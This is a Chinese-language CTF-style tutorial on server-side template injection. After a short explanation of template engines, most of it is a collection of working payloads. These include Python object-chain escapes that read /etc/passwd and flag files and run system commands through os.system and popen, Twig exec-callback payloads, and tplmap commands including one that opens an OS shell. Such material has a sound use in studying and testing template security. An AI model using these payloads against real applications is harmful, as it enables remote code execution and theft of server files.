模板注入
模板注入的概念
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。
通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
示例1:定义一个模板,例如
<html>
<div>{$what}</div>
</html>
这只是一个模板。{$what}是数据。此时不知道数据是什么。
如果我想html里面成为
<div>peiqi</div>
渲染到html代码里,渲染完成后
<html>
<div>peiqi</div>
</html>
模板引擎
模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,注意不同的语言对应的模板:
解题步骤
先判断漏洞点:关注参数位置
判断模板引擎,根据下面的图测试一下
找对应的payload
python2_任意执行
- 获取基类
''.__class__.__mro__[-1]
{}.__class__.__base__
().__class__.__base__
[].__class__.__base__
- 获取基类的子类
[].__class__.__base__.__subclasses__()
从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用
-
利用子类
我们可以利用的方法有<type 'file'>等。(甚至file一般是第40号)
#存在的子模块可以通过 .index()方式来查询
''.__class__.__mro__[2].__subclasses__().index(file)
# 用file模块来查询
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
可以直接调用system函数,有了shell其他的问题不就解决了吗?
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。
#读取本级目录
().__class__.__base__.__subclasses__() [71].__init__.__globals__['os'].listdir('.')
另外在某些不得已的情况下可以使用以下方式来读取文件。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
SSTI
# 常用payload集合
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
Tqlmap
Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。适用于有参数的注入
python tplmap.py -u http://xxxx/* (无参数)
python tplmap.py -u http://xxxx?name=1 (有参数)
python tplmap.py -u url --os-shell (获取shell)
参考资料
https://www.cnblogs.com/wuhongbin/p/14281708.html